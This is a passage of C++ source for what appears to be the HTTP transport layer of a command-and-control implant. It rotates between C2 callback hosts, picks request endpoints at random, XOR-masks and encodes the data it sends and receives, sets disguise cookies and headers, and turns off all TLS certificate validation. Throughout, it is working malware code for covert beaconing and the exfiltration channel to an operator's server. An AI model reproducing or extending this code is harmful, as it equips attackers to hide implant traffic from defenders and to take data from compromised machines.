if ( LineEnd ) {
*LineEnd = SavedChar;
CurrentLine = LineEnd + 2;
} else {
break;
}
}
KhFree( AllHeaders );
if ( !Found ) {
KhDbg("Header not found");
return FALSE;
}
break;
}
case Output_Body: {
KhDbg("Processing body response");
UINT32 ContentLength = 0;
ULONG ContentLenLen = sizeof( ContentLength );
DWORD BytesRead = 0;
BOOL Success = Self->Wininet.HttpQueryInfoW(
RequestHandle, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER,
&ContentLength, &ContentLenLen, NULL
);
if ( Success && ContentLength > 0 ) {
RespData->Ptr = B_PTR( KhAlloc( ContentLength + SAFETY_MARGIN ) );
if ( !RespData->Ptr ) {
return FALSE;
}
Self->Wininet.InternetReadFile( RequestHandle, RespData->Ptr, ContentLength, &BytesRead );
if ( BytesRead != ContentLength ) {
KhDbg("Incomplete read");
KhFree( RespData->Ptr );
RespData->Ptr = nullptr;
return FALSE;
}
RespData->Size = BytesRead;
KhDbg("Body read - %lu bytes", BytesRead);
return TRUE;
}
PVOID TmpBuffer = PTR( KhAlloc( BEG_BUFFER_LENGTH ) );
if ( !TmpBuffer ) {
return FALSE;
}
const SIZE_T MAX_RESPONSE_SIZE = 10 * 1024 * 1024;
SIZE_T RespCapacity = BEG_BUFFER_LENGTH;
RespData->Ptr = B_PTR( KhAlloc( RespCapacity ) );
if ( !RespData->Ptr ) {
KhFree( TmpBuffer );
return FALSE;
}
RespData->Size = 0;
do {
Success = Self->Wininet.InternetReadFile( RequestHandle, TmpBuffer, BEG_BUFFER_LENGTH, &BytesRead );
if ( !Success || BytesRead == 0 ) break;
if ( (RespData->Size + BytesRead + SAFETY_MARGIN) > RespCapacity ) {
SIZE_T newCapacity = max( RespCapacity * 2, RespData->Size + BytesRead + SAFETY_MARGIN );
if ( newCapacity > MAX_RESPONSE_SIZE ) {
KhDbg("Response too large");
KhFree( RespData->Ptr );
KhFree( TmpBuffer );
RespData->Ptr = nullptr;
return FALSE;
}
PVOID newBuffer = PTR( KhReAlloc( RespData->Ptr, newCapacity ) );
if ( !newBuffer ) {
KhDbg("Failed to reallocate response buffer");
KhFree( RespData->Ptr );
KhFree( TmpBuffer );
RespData->Ptr = nullptr;
return FALSE;
}
RespData->Ptr = B_PTR( newBuffer );
RespCapacity = newCapacity;
}
Mem::Copy( PTR( U_PTR( RespData->Ptr ) + RespData->Size ), TmpBuffer, BytesRead );
RespData->Size += BytesRead;
} while ( BytesRead > 0 );
KhFree( TmpBuffer );
if ( !Success ) {
KhFree( RespData->Ptr );
RespData->Ptr = nullptr;
return FALSE;
}
KhDbg("Body read (chunked) - %zu bytes", RespData->Size);
return TRUE;
}
default:
KhDbg("Unknown server output type");
return FALSE;
}
return TRUE;
}
auto DECLFN Transport::OpenInternetSession(
_In_ HTTP_CONTEXT* Ctx,
_In_ HTTP_CALLBACKS* Callback,
_In_ BOOL ProxyEnabled,
_In_ WCHAR* ProxyUrl
) -> BOOL {
ULONG HttpAccessType = ProxyEnabled ? INTERNET_OPEN_TYPE_PROXY : 0;
Ctx->SessionHandle = Self->Wininet.InternetOpenW(
Callback->UserAgent, HttpAccessType,
ProxyEnabled ? ProxyUrl : nullptr, 0, 0
);
if ( ! Ctx->SessionHandle ) {
KhDbg("Failed to open internet session - Error: %d", KhGetError);
return FALSE;
}
KhDbg("Internet session opened");
return TRUE;
}
auto DECLFN Transport::ConnectToServer(
_In_ HTTP_CONTEXT* Ctx,
_In_ HTTP_CALLBACKS* Callback,
_In_ BOOL ProxyEnabled,
_In_ WCHAR* ProxyUsername,
_In_ WCHAR* ProxyPassword
) -> BOOL {
Ctx->ConnectHandle = Self->Wininet.InternetConnectW(
Ctx->SessionHandle, Callback->Host, Callback->Port,
ProxyEnabled ? ProxyUsername : nullptr,
ProxyEnabled ? ProxyPassword : nullptr,
INTERNET_SERVICE_HTTP, 0, 0
);
if ( ! Ctx->ConnectHandle ) {
KhDbg("Failed to connect - Host: %S Port: %u Error: %d", Callback->Host, Callback->Port, KhGetError);
return FALSE;
}
KhDbg("Connection established");
return TRUE;
}
auto DECLFN Transport::SendHttpRequest(
_In_ HTTP_CONTEXT* Ctx,
_In_ WCHAR* Method,
_In_ WCHAR* Path,
_In_ WCHAR* Headers,
_In_ MM_INFO* Body,
_In_ BOOL Secure
) -> BOOL {
ULONG HttpFlags = INTERNET_FLAG_RELOAD;
ULONG OptFlags = 0;
if ( Secure ) {
HttpFlags |= INTERNET_FLAG_SECURE;
OptFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_WRONG_USAGE |
SECURITY_FLAG_IGNORE_WEAK_SIGNATURE;
}
Ctx->RequestHandle = Self->Wininet.HttpOpenRequestW(
Ctx->ConnectHandle, Method, Path, NULL, NULL, NULL, HttpFlags, 0
);
if ( !Ctx->RequestHandle ) {
KhDbg("Failed to open HTTP request - Error: %d", KhGetError);
return FALSE;
}
Self->Wininet.InternetSetOptionW( Ctx->RequestHandle, INTERNET_OPTION_SECURITY_FLAGS, &OptFlags, sizeof( OptFlags ) );
BOOL Success = Self->Wininet.HttpSendRequestW(
Ctx->RequestHandle, Headers, Headers ? Str::LengthW( Headers ) : 0,
Body->Ptr, Body->Size
);
if ( !Success ) {
KhDbg("Failed to send HTTP request - Error: %d", KhGetError);
return FALSE;
}
KhDbg("HTTP request sent");
return TRUE;
}
auto DECLFN Transport::HttpSend(
_In_ MM_INFO* SendData,
_Out_opt_ MM_INFO* RecvData
) -> BOOL {
if ( RecvData ) {
RecvData->Ptr = nullptr;
RecvData->Size = 0;
}
HTTP_CONTEXT Ctx = { 0 };
Ctx.Success = FALSE;
HTTP_CALLBACKS* Callback = this->StrategyRot();
if ( ! Callback ) {
KhDbg("Failed to get C2 callback");
return FALSE;
}
KhDbg("host: %ls:%d useragent: %ls secure: %s", Callback->Host, Callback->Port, Callback->UserAgent, Self->Config.Http.Secure ? "TRUE" : "FALSE");
WCHAR* MethodStr = nullptr;
HTTP_METHOD Method = { 0 };
MM_INFO RespData = { 0 };
MM_INFO DecodedData = { 0 };
MM_INFO EncodedData = { 0 };
if ( ! this->PrepareMethod( Callback, &MethodStr, &Method ) ) {
return CleanupHttpContext( &Ctx );
}
HTTP_ENDPOINT* Endpoint = Method.Endpoints[Rnd32() % Method.EndpointCount];
KhDbg("method: %ls endpoint: %ls", MethodStr, Endpoint->Path);
OUTPUT_FORMAT ClientOut = Endpoint->ClientOutput;
OUTPUT_FORMAT ServerOut = Endpoint->ServerOutput;
OUTPUT_TYPE ServerOutType = ServerOut.Type;
OUTPUT_TYPE ClientOutType = ClientOut.Type;
PROXY_SETTINGS Proxy = Self->Config.Http.Proxy;
BOOL Secure = Self->Config.Http.Secure;
ULONG TotalRequestSize = 0;
Ctx.Path = Endpoint->Path;
if ( ! this->PrepareUrl( &Ctx, Callback, Secure ) ) {
return CleanupHttpContext( &Ctx );
}
if ( ClientOut.Mask && ! Self->Session.Connected ) {
Self->Crp->Xor( SendData->Ptr, SendData->Size - 16 );
} else if ( ClientOut.Mask && Self->Session.Connected ) {
Self->Crp->Xor( SendData->Ptr, SendData->Size );
}
if ( ! this->EncodeClientData( &Ctx, SendData, &EncodedData, &ClientOut ) ) {
return CleanupHttpContext( &Ctx );
}
TotalRequestSize = ( EncodedData.Size + ClientOut.Append.Size + ClientOut.Prepend.Size );
if ( ! this->ProcessClientOutput( &Ctx, &EncodedData, ClientOutType, Endpoint, &Method, &ClientOut ) ) {
return CleanupHttpContext( &Ctx );
}
if ( ! this->OpenInternetSession( &Ctx, Callback, Proxy.Enabled, Proxy.Url ) ) {
return CleanupHttpContext( &Ctx );
}
if ( ! this->ConnectToServer( &Ctx, Callback, Proxy.Enabled, Proxy.Username, Proxy.Password ) ) {
return CleanupHttpContext( &Ctx );
}
if ( Method.CookiesCount ) {
for ( int i = 0; i < Method.CookiesCount; i++ ) {
Self->Wininet.InternetSetCookieW( Ctx.wTargetUrl, Method.Cookies[i]->Key, Method.Cookies[i]->Value );
KhDbg("Cookie set - Key: %ls", Method.Cookies[i]->Key);
}
}
if ( ! this->SendHttpRequest(
&Ctx, MethodStr, Ctx.Path ? Ctx.Path : Endpoint->Path,
Ctx.Headers ? Ctx.Headers : Method.Headers, &Ctx.Body, Secure
)) {
return CleanupHttpContext( &Ctx );
}
ULONG HttpStatusCode = 0;
ULONG HttpStatusSize = sizeof( HttpStatusCode );
Self->Wininet.HttpQueryInfoW(
Ctx.RequestHandle, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER,
&HttpStatusCode, &HttpStatusSize, nullptr
);
KhDbg("HTTP status code: %lu", HttpStatusCode);
if ( HttpStatusCode < 200 || HttpStatusCode >= 300 ) {
KhDbg("HTTP request failed - Status: %lu", HttpStatusCode);
return CleanupHttpContext( &Ctx );
}
if ( ! this->ProcessServerOutput( &Ctx, Ctx.RequestHandle, Ctx.cTargetUrl, ServerOutType, &ServerOut, &RespData ) ) {
return CleanupHttpContext( &Ctx );
}
if ( RespData.Ptr && RespData.Size == Method.DoNothingBuff.Size ) {
if ( RespData.Size == 0 || Mem::Cmp( RespData.Ptr, Method.DoNothingBuff.Ptr, Method.DoNothingBuff.Size ) ) {
KhDbg("Response matches do-nothing buffer");
KhFree( RespData.Ptr );
RespData.Ptr = nullptr;
Ctx.Success = TRUE;
return CleanupHttpContext( &Ctx );
}
}
if ( ! this->DecodeServerData( &Ctx, &RespData, &DecodedData, &ServerOut ) ) {
KhFree( RespData.Ptr );
return CleanupHttpContext( &Ctx );
}
if ( ServerOut.Mask ) {
Self->Crp->Xor( DecodedData.Ptr, DecodedData.Size );
}
KhFree( RespData.Ptr );
RespData.Ptr = nullptr;
if ( RecvData ) {
RecvData->Ptr = DecodedData.Ptr;
RecvData->Size = DecodedData.Size;
KhDbg("Response returned - Size: %zu", DecodedData.Size);
} else {
if ( DecodedData.Ptr ) {
KhFree( DecodedData.Ptr );
}
}
Ctx.Success = TRUE;
return CleanupHttpContext( &Ctx );
}
#endif